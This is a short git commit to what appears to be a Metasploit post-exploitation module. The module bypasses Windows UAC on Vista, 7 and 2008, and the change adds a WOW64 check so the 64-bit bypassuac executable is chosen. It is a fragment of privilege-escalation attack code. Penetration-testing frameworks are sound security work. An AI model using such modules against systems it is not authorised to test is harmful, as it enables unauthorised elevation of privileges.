Add fix for WOW64 from ReL1k

git-svn-id: file:///home/svn/framework3/trunk@11650 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2011-01-26 16:26:08 +00:00
parent 23808d19cd
commit 21d93be897
1 changed files with 3 additions and 2 deletions

View File

@ -43,7 +43,8 @@ class Metasploit3 < Msf::Post
def run
vuln = false
winver = session.sys.config.sysinfo["OS"]
sysinfo = session.sys.config.sysinfo
winver = sysinfo["OS"]
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
affected.each { |v|
if winver.include? v
@ -92,7 +93,7 @@ class Metasploit3 < Msf::Post
# decide, x86 or x64
bpexe = nil
if payload =~ /x64/
if payload =~ /x64/ or sysinfo["Architecture"] =~ /wow64/i
bpexe = ::File.join(path, "bypassuac-x64.exe")
else
bpexe = ::File.join(path, "bypassuac-x86.exe")